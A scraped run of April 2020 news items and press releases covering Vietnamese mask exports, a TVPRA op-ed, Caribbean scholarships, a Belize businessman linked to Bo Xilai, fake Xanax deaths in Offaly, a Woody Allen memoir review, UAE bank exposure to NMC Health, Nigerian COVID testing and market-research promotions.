great deal of mask importers have insisted that the materials to be used for their orders have to comply with requirements set by them or their countries. Viet says some of his customers demand that the materials must be imported from either South Korea, Taiwan or Japan. Meanwhile, the chemicals in use must be sent in from European countries, Japan or Thailand. This request suggests that in reality, the only phase where Vietnamese mask makers can be active is the production phase. Furthermore, each importing country has her own standards for each specific product. To cope with this problem, local mask producers have sought help from Vietnamese diplomatic corps, especially trade commissioners in foreign countries. Another obstacle, according to Viet, is social distancing and lockdown measures being effective in importing nations. Currently, flights have been mostly discontinued, making goods transportation extremely painful, he says. Above all, the hardest nut to crack for Vietnamese fabric mask makers, says Viet, relates to the habit of using face masks in American and European nations. As surgical masks are traditionally in use in these countries, fabric masks need time to gain ground. Officials from the Ministry of Industry and Trade have maintained that considering the capacity of the local textile and garment industry, local enterprises may transform Vietnam into a big fabric mask exporting nation. However, these officials also warned that to make fabric masks more popular in the world, promotional campaigns must be conducted. Another cause for concern, they said, is the escalating demand for fabric masks during Covid-19 would significantly decline once the pandemic is over. So, this product should be considered an interim measure, and costly long-term investment in it should thus be made only with great care. From the corporate perspective, Viet shares the above warning. He says about a dozen of his American and European customers have been actually interested in his fabric masks. However, Vitajean has not yet pinned high hope on this kind of products in the long run. What we are doing with fabric mask production right now is giving jobs to our workers, he says, adding that it is a way to keep his workers active while waiting for the pandemic to come to an end. The sustainability of fabric masks needs more time for further assessment, Viet contends. SGT Hung Le DUBLIN, April 28, 2020 /PRNewswire/ -- The "Global Community Acquired Infections Clinical Trial Pipeline Highlights - 2020" report has been added to ResearchAndMarkets.com's offering. The report Community Acquired Infections Pipeline Highlights - 2020, provides the most up-to-date information on key pipeline products in the global Community Acquired Infections market. It covers emerging therapies for Community Acquired Infections in active clinical development stages including early and late-stage clinical trials. The pipeline data presented in this report helps executives for tracking competition, identifying partners, evaluating opportunities, formulating business development strategies, and executing in-licensing and out-licensing deals. Clinical Trial Stages: The report provides Community Acquired Infections pipeline products by clinical trial stages including both early and late-stage development - phase 3 clinical trials, phase 2 clinical trials, phase 1 clinical trials, preclinical research, and discovery stage. Drug Mechanism Classes: The report provides Community Acquired Infections pipeline products by their dominant mechanism of action/drug class. This helps executives categorize products based on their drug class and also assess the strengths and weaknesses of compounds. Company: The report provides Community Acquired Infections pipeline products by company. Short-term Launch Highlights: Find out which Community Acquired Infections pipeline products will be launched in the US and Ex-US till 2025. Key topics covered: Community Acquired Infections phase 3 clinical trial pipeline products Community Acquired Infections phase 2 clinical trial pipeline products Community Acquired Infections phase 1 clinical trial pipeline products Community Acquired Infections preclinical research pipeline products Community Acquired Infections discovery stage pipeline products Community Acquired Infections pipeline products short-term launch highlights For more information about this report visit https://www.researchandmarkets.com/r/d5lso4 About ResearchAndMarkets.com ResearchAndMarkets.com is the world's leading source for international market research reports and market data. We provide you with the latest data on international and regional markets, key industries, the top companies, new products and the latest trends. Research and Markets also offers Custom Research services providing focused, comprehensive and tailored research. Media Contact: Research and Markets Laura Wood, Senior Manager [email protected] For E.S.T Office Hours Call +1-917-300-0470 For U.S./CAN Toll Free Call +1-800-526-8630 For GMT Office Hours Call +353-1-416-8900 U.S. Fax: 646-607-1907 Fax (outside U.S.): +353-1-481-1716 SOURCE Research and Markets Related Links http://www.researchandmarkets.com Email Whatsapp Menu Whatsapp Google Reddit Digg Stumbleupon Linkedin Comment In 2008, President George W. Bush signed the Trafficking Victims Protection Reauthorization Act (TVPRA) into law. Named the William Wilberforce Act, in homage to the renowned evangelical social reformer and politician, it ensured that children seeking safety in the U.S. would receive screening for trafficking and violent persecution, while also granting them the right to full judicial procedure. Our organizations, Bethany Christian Services and the Wesleyan Church along with Christians across the country applauded the passage of this law. One of us was present in 2008 when President Bush signed the bill; the other leads an organization that has since helped thousands of children reunify with their families because of this law. Fast forward 12 years, and the coronavirus outbreak has contributed to the upending of compassionate protections at our southern border. In a move that harms vulnerable children and flouts American law, government officials are no longer upholding the TVPRA. On March 20, 2020, the U.S. Department of Homeland Security (DHS) unveiled plans to restrict all nonessential travel across the southern border. Since then, U.S. Customs and Border Protection (CBP) has begun turning away most asylum-seekers at the border without any vetting or due process. In practice, CBP is deporting vulnerable children without processing them according to the TVRPA. This is evidenced by a sudden 78% drop in unaccompanied child referrals to the Office of Refugee Resettlement. The coronavirus is a real threat to the safety and health of our law-enforcement officials operating at the border as it is to all of humanity. But the TVPRA exists for a reason; without it, vulnerable children would lack any protection against human trafficking, which has not halted with the rest of the world and is in fact expected to worsen throughout the pandemic.A CBP report found that unaccompanied children and undocumented immigrants are disproportionately victimized by human traffickers. Violence and exploitation, as well as physical and emotional abuse, are the norm for victims of human trafficking. According to the White House, some 70% of people who cross the southern border are victims of violence. So why is helping them considered unessential? Right now, CBP is maximizing speed and efficiency by reducing the time they take to process people at the border. And while that may mean less risk of COVID-19 exposure, do we as a nation really have to make that choice, between safety from a virus and safety for the vulnerable and the exploited? Human trafficking is a grave evil. The U.S. State Department defines human trafficking as a crime involving the exploitation of an individual for the purposes of compelled labor or a commercial sex act through the use of force, fraud, or coercion. As such, human trafficking constitutes a sin of the highest order against the dignity and value of the human person; it is a form of modern-day slavery. And while we may like to believe it only happens elsewhere, its victims are here on American soil. There is an alternative course of action. The United States is more than capable of protecting both its own citizens and unaccompanied children and families seeking safety. People at the border already undergo an extensive health examination; we can increase testing capacity, enhance safety precautions for our border agents and expedite existing processes all without abandoning one of Americas landmark legislative protections for vulnerable people. We can innovate around the challenges of COVID-19; we dont have to abandon those in need. As a nation, we have a rich history as a place of refuge a beacon of safety and hope for people fleeing persecution, poverty and violence. When children are in danger, we have a duty and a responsibility to protect them. We have legal precedent to fulfill this duty. Further, doing so upholds the deepest, most urgent requirements of our nations moral conscience. Theres no question the coronavirus outbreak is an unprecedented public health challenge. But we cannot use this challenge to justify neglect for the very real crime of human trafficking. The U.S. government must continue to keep unaccompanied children safe as required under its obligations in the Trafficking Victims Protection Reauthorization Act (TVPRA). In this moment of global crisis, we should be doing everything we can to protect the vulnerable, including children seeking safety from violence and exploitation. William Wilberforce refused to turn a blind eye to the suffering of hurting children. All Americans, especially Christians, can and should follow in his footsteps. Grand Cayman, Cayman Islands:--- CCRIF SPC invites applications for scholarships for 2020/21 to support students pursuing Masters level degree programmes in areas such as disaster risk management (DRM), natural resources management, climate change, civil with environmental engineering, actuarial science, and meteorology, among others. These scholarships are tenable at universities in the Caribbean, USA, UK, and Canada and can be for either online or face-to-face programmes. CCRIF will provide at least eight scholarships for postgraduate students. These are broken down as follows: 1 extra-regional scholarship of up to US$40,000 for students accepted into a university in the United Kingdom, United States or Canada 6 Caribbean scholarships of US$11,000 each for students accepted into the University of the West Indies; University of Technology, Jamaica; Northern Caribbean University in Jamaica; University of Guyana; or University of Suriname Special scholarship/s totalling US$11,000 for students enrolled in a new course developed by CCRIF and to be offered through UWI titled Fundamentals of Disaster Risk Financing (with emphasis on CCRIF Parametric Insurance Policies) for Advancing the Development of Small Island Developing States (SIDS), adapted from CCRIFs training programme, Understanding Disaster Risk Financing, CCRIF Parametric Policies and the Relationship with Fiscal and Economic Policy, and which will be offered for the first time through UWI Open Campus starting in academic year 2020/21 The deadline for applications for the 2020 CCRIF Scholarship Programme is June 15, 2020. Please visit the CCRIF website at http://www.ccrif.org/content/scholarship to apply. Additionally, at the undergraduate level CCRIF will continue to provide through the University of the West Indies (UWI) four undergraduate scholarships per year valued at US$8,000 each (US$4,000 per year for the second and final year) for students registered at one of the UWI campuses and pursuing select degrees related to DRM, civil engineering, geography, environmental management etc. For information on the CCRIF-UWI undergraduate scholarships, visit: http://www.ccrif.org/content/programmes/ccrif-uwi-scholarship. Applications for these scholarships are administered directly by the UWI. All citizens of CARICOM or CCRIF Caribbean member countries are eligible for these scholarships. Since the launch of its scholarship programme CCRIF has awarded 77 scholarships to Caribbean nationals totalling US$1.13 million to complete undergraduate or postgraduate programmes at the University of the West Indies and universities in the USA and the UK. These scholarships are provided as part of CCRIFs Technical Assistance (TA) Programme which was launched in 2010. The TA programme provides scholarships and internships, small grants to NGOs and CBOs, and supports programmes implemented in partnership with regional organizations to enhance DRM and climate change adaptation. CCRIF is committed to doing its part in building a cadre of persons who can effectively provide support for comprehensive disaster risk management and climate change adaptation in the region. While we all face uncertainties in the face of the current COVID-19 crisis, CCRIF anticipates that universities will be able to offer their programmes in August/September 2020 and the CCRIF team will work with scholarship candidates and the universities to enable these young Caribbean nationals to achieve their academic and professional goals. About CCRIF SPC: CCRIF SPC is a segregated portfolio company, owned, operated and registered in the Caribbean. It limits the financial impact of catastrophic hurricanes, earthquakes and excess rainfall events to Caribbean and Central American governments by quickly providing short-term liquidity when a parametric insurance policy is triggered. It is the worlds first regional fund utilising parametric insurance, giving member governments the unique opportunity to purchase earthquake, hurricane and excess rainfall catastrophe coverage with lowest-possible pricing. CCRIF was developed under the technical leadership of the World Bank and with a grant from the Government of Japan. It was capitalized through contributions to a Multi-Donor Trust Fund (MDTF) by the Government of Canada, the European Union, the World Bank, the governments of the UK and France, the Caribbean Development Bank and the governments of Ireland and Bermuda, as well as through membership fees paid by participating governments. In 2014, an MDTF was established by the World Bank to support the development of CCRIF SPCs new products for current and potential members, and facilitate the entry for Central American countries and additional Caribbean countries. The MDTF currently channels funds from various donors, including: Canada, through Global Affairs Canada; the United States, through the Department of the Treasury; the European Union, through the European Commission, and Germany, through the Federal Ministry for Economic Cooperation and Development and KfW. In 2017, the Caribbean Development Bank, with resources provided by Mexico, approved a grant to CCRIF SPC to provide enhanced insurance coverage to the Banks Borrowing Member Countries and in 2018, the Government of Ireland also provided support to CCRIF. A Belizean citizen facing prosecution in mainland China for his alleged role in fuelling unrest in Hong Kong was linked to the case of disgraced politician Bo Xilai via a Shanghai-based company, according to media reports. Guangzhou citys state security department said last week it had completed its investigation into Lee Henley Hu Xiang, who was arrested in late November. A brief report in local official media accused Lee of providing a large amount of funds to hostile elements in the United States, colluding with foreign anti-China forces to intervene in Hong Kong affairs, and funding the implementation of criminal activities that endangered [Chinas] national security. On Monday Global Times, a tabloid affiliated with party mouthpiece Peoples Daily, reported that an unnamed former business associate of Lee and another inside source had said Lee was a partner, first vice-president, shareholder and chief representative of a US company called Eastern American. The official verdict in Bos 2013 trial, issued by Jinan Intermediate Peoples Court, mentioned both the company using its translated Chinese name Meidong and Lee, who was described as its first vice-president and Shanghai office representative. Bo, who was once a member of the Communist Partys decision-making Politburo, was arrested in 2012, months after his former aide, Chongqing police chief Wang Lijun, fled to the US consulate general in neighbouring Chengdu for refuge. Bo Xilai was jailed for life in 2013 for corruption and abuse of power. Photo: AFP The former Chongqing party chief was sentenced to life imprisonment for corruption, bribery and abuse of power. Wangs actions also led to the downfall of Bos wife, Gu Kailai, who was found guilty of murdering British businessman Neil Heywood. The verdict in Bos trial said Lee had testified that he and Meidong had been involved in a sophisticated US$3 million transaction orchestrated by tycoon Xu Ming to buy a villa on the French Riviera for Gu in 2000. Lee said Meidong had acted on Xus request and transferred the money to an overseas company that the latter set up to cover the Bo familys involvement. Story continues His evidence helped convict Bo for abusing his power to help Xus company. Xu was also jailed for four years for bribing Bo and his family. He died of heart attack in late 2015, just nine months before he was due to be released from a prison in Wuhan. Lees link with Bos case was first reported by Hong Kongs Sing Tao Daily on Monday. Global Times, however, suggested Lee had emerged unscathed from his involvement in Bos case. Citing his former business associate, it said Lee had conducted business in China through his role in Eastern American for over three decades. The report said Lee used the proceeds from his Chinese ventures to provide large sums of money to anti-China forces to wreck Hong Kong, without providing further supporting details. The businessman is accused of playing a role in the Hong Kong protests, but opposition politicians said they had never heard of him. Photo: Sam Tsang It quoted an unnamed staff member at Eastern Americans Kunshan office, in Jiangsu province, as saying that Lee had been relieved of his role in the company and his personal behaviour had nothing to do with the firm. The companys website was not accessible on Monday. An Eastern American employee at its US office in Boston declined to comment. The report added that Lees grandfather had lived and operated a business in Hong Kong, while his father had worked in mainland China. The inside source added that Lee had aunts and uncles living in both Hong Kong and Britain, and he had acquired Belizean citizenship with the help of his family in Hong Kong. The Post could not independently verify the details in Global Timess report. Lees arrest in November followed the separate arrest of a Taiwanese man Lee Meng-chu in October. Both came in the wake of the months-long anti-government protests in Hong Kong, but several pan-democratic lawmakers in Hong Kong said they had not heard of Lee Henley at all. But Tian Feilong, a Beihang University academic who studies Beijings policy towards Hong Kong, said recent episodes would fuel calls for the city to plug legal loopholes. These cases illustrate the sophistication and dangers of cross-border activities the mainland authorities judicial actions against them also serve as reminder of the necessity for Hong Kong to improve its own law enforcement in safeguarding national security, he said. Sign up now and get a 10% discount (original price US$400) off the China AI Report 2020 by SCMP Research. Learn about the AI ambitions of Alibaba, Baidu & JD.com through our in-depth case studies, and explore new applications of AI across industries. The report also includes exclusive access to webinars to interact with C-level executives from leading China AI companies (via live Q&A sessions). Offer valid until 31 May 2020. This article Belize businessman accused of fuelling Hong Kong unrest had links to disgraced Chinese politician Bo Xilai first appeared on South China Morning Post For the latest news from the South China Morning Post download our mobile app. Copyright 2020. Two adults will be able to travel anywhere in the state to visit family and friends as the Berejiklian government takes its first steps to ease people out of the coronavirus lockdown. But the relaxation of restrictions comes as five more residents died at the Anglicare Newmarch House, the site of NSW's largest COVID-19 cluster outside the Ruby Princess cruise ship. Surfers return to Bondi Beach on Tuesday with more restrictions to be lifted in NSW. Credit:Janie Barrett There have been 11 deaths and 53 confirmed cases at the western Sydney home after an outbreak was discovered on April 11. From Friday, restrictions in NSW will be eased to allow two people - who do not need to be related - to visit another household and can take any dependent children with them. Global public tells the United Nations: Take action on climate change and the environment April 28,2020 | Source: UNEP The United Nations is marking its 75th anniversary at a time of great upheaval, as COVID-19 continues to spread, exacting a heavy toll on lives, societies and economies in all regions of the world. In January 2020, the UN75 initiative launched a global conversation, inviting people around the world to discuss their priorities for the future, obstacles to achieving them, and the role of global cooperation in overcoming these challenges. As of March 2020, over 13 million people in nearly all UN Member States had taken part in the initiative, with more than 40,000 completing the one-minute survey, and more than 330 dialogues held in 87 countries. Respondents placed great emphasis on climate change and the environment, with protection of the environment one of the top three priorities. Climate and the environment were also identified as one of the top three global trends, and widely discussed in the dialogues. The vast majority of respondents agreed on the need for closer international cooperation to make progress in these and other areas. COVID-19 has revealed the vulnerability of global systems to protect the environment, health and economy. There is an increasing recognition of how multiple economic, social and institutional drivers exacerbate environment risks, impacting on human health and increasing the burden on health services. The United Nations Environment Programme (UNEP), as the authoritative voice on the environment within the UN system, is well placed to help its member countries rise to the challenge of delivering a better future. UNEP will celebrate its own anniversary in 2022, having been at the heart of the environmental movement since the Stockholm Conference in 1972. UNEP is also working with partners to implement the 2030 Sustainable Development Agenda, particularly in areas that have a direct link to the environment such as hazardous waste, governance, wildlife conservation, climate change and ecosystems. Find out what UNEP is doing to achieve the Goals. For instance, a key UNEP report is the annual Emissions Gap Report, the most recent issue of which says we must cut global emissions 7.6 per cent every year of the next decade if we are to limit temperature rise per the Paris Agreement to 1.5C. A just-released international survey by Ipsos MORI Public opinion on the COVID-19 coronavirus pandemic says: Seven in ten consider climate change as serious a crisis as COVID-19, and a similar proportion feel their government will be failing them if it doesnt act on climate change now. Two thirds globally support a green economic recovery from the crisis. Over the course of 2020, the UN75 team will gather public perspectives on global challenges and solutions on how to tackle them through a one-minute survey (in 53 languages) and dialogues now the bulk of which will be online online organized by partners across the world. Nature is in crisis, threatened by biodiversity and habitat loss, global heating and toxic pollution. Failure to act is failing humanity. Addressing the current coronavirus (COVID-19) pandemic and protecting ourselves against future global threats requires sound management of hazardous medical and chemical waste; strong and global stewardship of nature and biodiversity; and a clear commitment to building back better, creating green jobs and facilitating the transition to carbon neutral economies. Humanity depends on action now for a resilient and sustainable future. United Nations Environment Programme Theme(s): Others. GardaI believe two women died and two men fell ill, one of them critically, after taking fake Xanax tablets. A major investigation has been launched into the tragic events at the old Clonamore House Hotel in Tullamore, Co Offaly, which is now used for homeless accommodation. The two women who died were named locally last night as Angela Kelly (44), who was also known as Andrea and died in Clonamore House on Sunday, and Amy Mannix (19), who died at the hostel yesterday morning. Both women had previously lived in Portlaoise but it is understood Ms Mannix is originally from Co Kerry. A 23-year-old man, named as Aaron Ging, was in a critical condition last night at the Midland Regional Hospital in Tullamore. A 32-year-old man, named locally as John O'Brien, was also being treated in the same hospital but his condition was not described as life-threatening. Both men had previously lived in the Portlaoise area. Officers are also investigating whether the sudden death of another man in Tullamore last Wednesday is linked to the same lethal batch of fake drugs. A senior source told the Irish Independent last night that detectives believe all five people consumed what are known as 'Xanax sticks' which were purchased on the internet last week. The criminal who is suspected of sourcing the deadly drugs was previously quizzed about the murder of William Delaney last year - a 56-year-old whose body has never been found despite major searches at the Rock of Dunamase in Portlaoise last June. Last year the coroner for Northern Ireland described the rising number of deaths linked to counterfeit versions of the anti-anxiety drug Xanax as "an escalating crisis". Gardai yesterday announced details of the grim tragedy that has unfolded in Co Offaly. "On Sunday, gardai were called to a hostel in Tullamore town, where a woman aged 44 years was discovered in an unresponsive state. She was pronounced dead at the scene a short time later. "This morning, at the same location, emergency services were called to treat a woman aged in her late teens. "She was pronounced dead at the scene a short time later and her body has since been removed to the mortuary at Tullamore Hospital where a post-mortem examination will be carried out. "While at the hostel, a 23-year-old man became unresponsive and was removed by ambulance to Tullamore Hospital." A spokesperson for Pfizer, the manufacturer of Xanax, previously spoke about the dangers of fake versions of the drug and said they are "alarmed by the rise of counterfeit Xanax" on the internet and dark web, and they estimate that 96pc of the Xanax samples that they analyse in their counterfeit labs are fake. "We have found dangerous ingredients such as boric acid, heavy metals and floor polish in counterfeit medicines," the company said in 2018. Last night, a senior source said that a chronic shortage of illegal drugs in Ireland because of the coronavirus pandemic is leading to an increase in people attempting to buy drugs on the internet. "As you can see, the consequences of this can be very grave indeed." Controversial even before its publication, Allens new memoir doesnt do much to straighten things out though Allens urge to defend himself is plainly a driving force, the title being one of his more sarcastic jokes. Credit: Speaking of jokes, anyone expecting Allen to set aside his comic mask may be disconcerted by the voice he adopts, which for the first 200 pages is exactly that of the wisecracking schlemiel we know from his movies. On his parents: Im sure they loved each other in their own way, a way known perhaps only to a few head-hunting tribes in Borneo. On the launch of his jazz career: The rest is history but so is the Holocaust. On his lack of interest in space travel: I am a big fan of gravity and hope it lasts. Every sentence or two, the prose climbs a little hill of cliche or pretension and then descends into bathos, a trick Allen learnt from his literary idol S.J. Perelman, whose New Yorker humour pieces undoubtedly taught him more as an artist than, say, Ingmar Bergman ever did. Covering Allens upbringing and his rise to success, the earlier parts of the book are funny, full of period flavour, and endearing in their very familiarity (those who know his movies will recognise a good deal, including the odd recycled one-liner). Gradually, the tone changes, especially in the still jokey yet harrowing account of Allens 1960s marriage (his second) to Louise Lasser whose mental instability apparently inspired several of his later scripts, though its worth bearing in mind were only getting one side of the story. Woody Allen with his wife Soon-Yi Previn at the 58th international Cannes film festival in 2005. Credit:AP By the time we reach the Farrow years, Apropos of Nothing has become another book entirely. The stream of gags slows to a trickle as Allen concentrates on making the case for himself as a victim of circumstance, while inflicting as much damage on his adversaries as he can. Whatever his public image might suggest, Allen has always insisted he is anything but an intellectual, nor even particularly introspective. He has, however, spent a significant portion of his life in therapy: in its unpredictable shifts of tone and subject matter, the book resembles a monologue delivered to an analyst, at times revealing more than Allen may have intended. Ultimately its clear the gags are the man enacting, over and over, Allens sense of himself as a mouthy lower-class hustler in doomed pursuit of an ideal of elegance that may never have been more than a mirage. In his Brooklyn boyhood, as he tells us, this elegance was represented by the promised land of Manhattan, not so much the real place as the black-and-white playground for the wealthy pictured in Hollywood movies with Cary Grant or Fred Astaire. Loading His bitterest complaint against his uncultured parents is that they never once took him to a show or a museum a phrase he precisely repeats, whether deliberately or not, in describing Farrows treatment of the young Soon-Yi. All of this ties in neatly with Allens films, typically built on the contrast between harsh reality and seductive dream. Often his protagonists are caught between the two realms like the Depression-era moviegoer played by Farrow in The Purple Rose of Cairo, or the nostalgic screenwriter (Owen Wilson) who travels back in time in Midnight in Paris. Punjab Chief Minister Amarinder Singh on Monday said former prime minister Manmohan Singh has accepted his request to provide guidance to the state in restoring it's the economy post-COVID-19 situation. The state government has already constituted a group of experts, headed by noted economist and former deputy chairman of the Planning Commission, Montek Singh Ahluwalia to come out with a post-COVID-19 strategy to revive the state's economy. I had written to Dr Manmohan Singh Ji to guide us along with the group of experts headed by Montek Singh Ahluwalia & I am grateful to him for accepting. We have been working hard to steer Punjab to the path of economic growth & post-COVID-19 we will again focus on same, the chief minister tweeted. Meanwhile, the group of experts headed by Ahluwalia, had its introductory meeting through video conferencing on Monday and set up five sub-groups - finance, agriculture, health, industry and social aid - to further streamline its working, an official release said. Ahluwalia commented that the task before the group was momentous, but we will definitely come out with some solutions to steer the state's recovery. The chief minister said the state's financial situation was grim with monthly revenue losses to the tune of Rs 3,360 crore. This includes losses on account of Goods and Services Tax (Rs 1,322 crore), state excise on liquor (Rs 521 crore), motor vehicle tax (Rs 198 crore), VAT on petrol and diesel (Rs 465 crore), electricity duty (Rs 243 crore), stamp duty (Rs 219 crore) and non-tax revenue (Rs 392 crore), he said. The state's cash inflows have completely dried up, Singh said, adding power consumption has declined by 30 per cent with a daily loss of Rs 30 crore in the collection of electricity tariff to the state power utility. Punjab's industry has been shut down, with less than one per cent of the working. In addition, the state's GST arrears of Rs 4,365.37 crore is yet to be paid by the Government of India, he lamented. Medical staff of Xiaotangshan Hospital see off the hospital's last group of COVID-19 patients who have recovered from the disease in Beijing, capital of China, April 28, 2020. Xiaotangshan Hospital, which was previously used to quarantine SARS patients in Beijing, cleared all COVID-19 cases Tuesday and is scheduled to cease operation Wednesday. The hospital, located in the city's northern suburb, was renovated and put into operation on March 16 for the screening and treatment of imported mild and common confirmed COVID-19 cases, suspected cases and those who need to be tested. (Xinhua/Peng Ziyang) BEIJING, April 28 (Xinhua) -- As the last two patients with the novel coronavirus disease (COVID-19) were discharged Tuesday morning, Xiaotangshan Hospital, which was previously used to quarantine SARS patients in Beijing, has cleared all existing COVID-19 cases. The two patients, an 18-year-old woman and a 50-year-old man, were hospitalized on March 19 and 28, respectively. They tested negative for coronavirus in two successive tests and met the criteria to be released. With all patients cleared, Xiaotangshan Hospital is scheduled to cease operation on Wednesday, according to Lyv Yiping, deputy director of the Beijing Hospitals Authority. The hospital, located in the city's northern suburb, was renovated and put into operation on March 16 for the screening and treatment of imported mild and common confirmed COVID-19 cases, suspected cases and those who need to be tested. Over the past 44 days, the hospital has screened a total of 2,175 people, and 54 confirmed cases of COVID-19 were reported. In the treatment and control of SARS, or Severe Acute Respiratory Syndrome, which spread rapidly on the Chinese mainland in 2003, Beijing built Xiaotangshan Hospital, a temporary medical center, in just a week. By Saeed Azhar, Davide Barbuscia and Hadeel Al Sayegh DUBAI (Reuters) - Banks in the United Arab Emirates (UAE) with exposure to troubled hospital operator NMC Health risk having to make provisions for between 25% to 50% on more than $2 billion of outstanding debt to the company, three banking sources said. NMC, the largest private healthcare provider in the UAE, was placed into administration earlier in April after months of turmoil which followed questions about its financial reporting from short-seller Muddy Waters. NMC's shares were suspended two months ago and on Monday the company requested the delisting of its shares from the London Stock Exchange. Some UAE banks have classified their debt exposure to the company as "doubtful", a UAE central bank document showed and one of the three sources familiar with the matter said. Other banks in the UAE have higher recovery expectations for their exposure and may treat it as substandard, another source said. The central bank did not immediately respond to a Reuters request for comment outside normal working hours. The administrators for NMC declined to comment. NMC, which has borrowed from a total of 80 local and international banks, disclosed $6.6 billion in debt last month, above $2.1 billion disclosed in June last year. UAE banks said in stock exchange filings in the past few weeks they had more than 10 billion dirhams (2.18 billion pounds) in exposure to NMC. Abu Dhabi Commercial Bank said it had an exposure to NMC of $981 million. ADCB had said the credit it extended included syndicated loans alongside major global banks via senior unsecured facilities. The bank is chairing a steering committee of creditors that held an initial meeting last week, the sources said. ADCB declined to make further comment. Under UAE central bank regulations, doubtful loans can lead to specific provisioning of at least 50% for a bank on a troubled loan. "Substandard" loans require 25% provisioning. Story continues "Every bank does its own classification and then at some point the central bank might come back and ask banks to get uniformity but this is at a later stage," the second source said. One of the three sources said his bank started treating NMC exposure as "stage 3", requiring 50% provisioning. Mohamed Damak, senior director at credit rating agency S&P, who oversees MENA financial institutions, said it was to be expected that the loans would be in stage 3 because the company is in administration. "It is also equally important to remember that NMC is one of the leading privately owned operators of healthcare services in the UAE. Therefore, there will be a loss on debt but we don't think that it will be for the full amount of the exposures," he said. UAE banks were told by the central bank last week to freeze the accounts of NMC Health shareholder and founder BR Shetty and his family and several other people, three sources with knowledge of the matter said. (Reporting by Saeed Azhar, Davide Barbuscia and Hadeel Al Sayegh. Editing by Jane Merriman) To intensify the efforts to limit the spread of COVID-19 virus, the Nigerian government has set a target of testing two million people in the next three months. The Director-General of Nigeria Centre for Disease Control (NCDC), Chikwe Ihekweazu, while speaking at the daily Presidential Task Force (PTF) briefing on Tuesday said the move became necessary as the country is lagging behind in terms of testing. The laboratory strategic group that is responding to this outbreak has set itself a target of testing two million people in the next three months This is a very ambitious target, he said. Nigeria has one of the worst testing coverage in countries with over 1, 000 cases in Africa and anywhere in the world, based on data from worldometers.info. On April 1, the Nigerian government said the national testing capacity was increased from 500 to 1,500 to expand coverage. The NCDC DG earlier said that the centre would increase the testing capacity to over 3,000 per day across the country with 2000 samples to be done per day in Lagos State. But the Nigerian Infectious Diseases Society (NIDS) said the country is not meeting the daily target. They are not meeting the target of 1, 500 testings per day, said Usman Abdulrahman, an official of NIDS, a multidisciplinary society of practitioners in the field of infectious diseases told PREMIUM TIMES. Nigeria has conducted over 10,000 tests out of a population of nearly 200 million and found 1,337 infected persons, including 40 health workers, and 40 deaths. Experts said the country has high test-positivity-rate, meaning that testing is limited for only people with a very high probability of having the infection while those with milder symptoms or none at all could possibly go undercounted. Lagging behind Mr Ihekweazu said the country is lagging behind South Africa which has now tested over 178,000 people, according to Worldometers.info. He said the only way to defeat this pandemic is to carry out as many tests as possible. In countries that have achieved a lot more in terms of testing like South Africa, we are lagging behind and now we have to catch up. We have learnt from every country that the only way to do it is to test more people, he said. He said efforts were being made to equip available laboratories to be able to meet the testing target. We are working with our development partners and all our friends to equip our labs to be able to do this. It is going to cost us a lot of money. So we need a lot of collaborations to do this, he said. Collaborations The NCDC chief said about 50,000 people will be tested per state depending on the population size to meet up the two million target. He called for cooperation and collaborations of every state government to achieve this target. He also urged Nigerians to limit travelling or avoid it altogether unless its a matter of life and death. One of the key things that will enable us to do this efficiently for Nigerians is to avoid non-essential travels. That is a very difficult thing to do but I like to remind everyone that this virus doesnt fly on its own from state to state. It is carried by us, he said. Advertisements Technavio has been monitoring the RFID middleware market and it is poised to grow by USD 2.49 bn during 2019-2023, progressing at a CAGR of over 11% during the forecast period. The report offers an up-to-date analysis regarding the current market scenario, latest trends and drivers, and the overall market environment. This press release features multimedia. View the full release here: https://www.businesswire.com/news/home/20200427005639/en/ Technavio has announced its latest market research report titled Global RFID Middleware Market 2019-2023 (Graphic: Business Wire) Technavio suggests three forecast scenarios (optimistic, probable, and pessimistic) considering the impact of COVID-19. Please Request Latest Free Sample Report on COVID-19 Impact The market is concentrated, and the degree of concentration will accelerate during the forecast period. Checkpoint Systems Inc., Fujitsu Ltd., RF Code Inc., TIBCO Software Inc., and Tyco Retail Solutions are some of the major market participants. To make the most of the opportunities, market vendors should focus more on the growth prospects in the fast-growing segments, while maintaining their positions in the slow-growing segments. Growing number of RFID applications has been instrumental in driving the growth of the market. RFID Middleware Market 2019-2023: Segmentation RFID Middleware Market is segmented as below: End-user Industrial Transportation and Logistics Retail Healthcare Others Geographic Landscape APAC Europe MEA North America South America To learn more about the global trends impacting the future of market research, download a free sample: https://www.technavio.com/talk-to-us?report=IRTNTR31883 RFID Middleware Market 2019-2023: Scope Technavio presents a detailed picture of the market by the way of study, synthesis, and summation of data from multiple sources. Our RFID middleware market report covers the following areas: RFID Middleware Market Size RFID Middleware Market Trends RFID Middleware Market Industry Analysis This study identifies growing investments in smart factories as one of the prime reasons driving the RFID middleware market growth during the next few years. RFID Middleware Market 2019-2023: Vendor Analysis We provide a detailed analysis of around 25 vendors operating in the RFID middleware market, including some of the vendors such as Checkpoint Systems Inc., Fujitsu Ltd., RF Code Inc., TIBCO Software Inc., and Tyco Retail Solutions. Backed with competitive intelligence and benchmarking, our research reports on the RFID middleware market are designed to provide entry support, customer profile and M&As as well as go-to-market strategy support. Register for a free trial today and gain instant access to 17,000+ market research reports. Technavio's SUBSCRIPTION platform RFID Middleware Market 2019-2023: Key Highlights CAGR of the market during the forecast period 2019-2023 Detailed information on factors that will assist RFID middleware market growth during the next five years Estimation of the RFID middleware market size and its contribution to the parent market Predictions on upcoming trends and changes in consumer behavior The growth of the RFID middleware market Analysis of the market's competitive landscape and detailed information on vendors Comprehensive details of factors that will challenge the growth of RFID middleware market vendors Table Of Contents: PART 01: EXECUTIVE SUMMARY PART 02: SCOPE OF THE REPORT 2.1 Preface 2.2 Preface 2.3 Currency conversion rates for US$ PART 03: MARKET LANDSCAPE Market ecosystem Market characteristics Market segmentation analysis PART 04: MARKET SIZING Market definition Market sizing 2018 Market size and forecast 2018-2023 PART 05: FIVE FORCES ANALYSIS Bargaining power of buyers Bargaining power of suppliers Threat of new entrants Threat of substitutes Threat of rivalry Market condition PART 06: MARKET SEGMENTATION BY END-USER Market segmentation by end-user Comparison by end-user Industrial Market size and forecast 2018-2023 Transportation and logistics Market size and forecast 2018-2023 Retail Market size and forecast 2018-2023 Healthcare Market size and forecast 2018-2023 Others Market size and forecast 2018-2023 Market opportunity by end-user PART 07: CUSTOMER LANDSCAPE PART 08: GEOGRAPHIC LANDSCAPE Geographic segmentation Geographic comparison North America Market size and forecast 2018-2023 APAC Market size and forecast 2018-2023 Europe Market size and forecast 2018-2023 MEA Market size and forecast 2018-2023 South America Market size and forecast 2018-2023 Key leading countries Market opportunity PART 09: DECISION FRAMEWORK PART 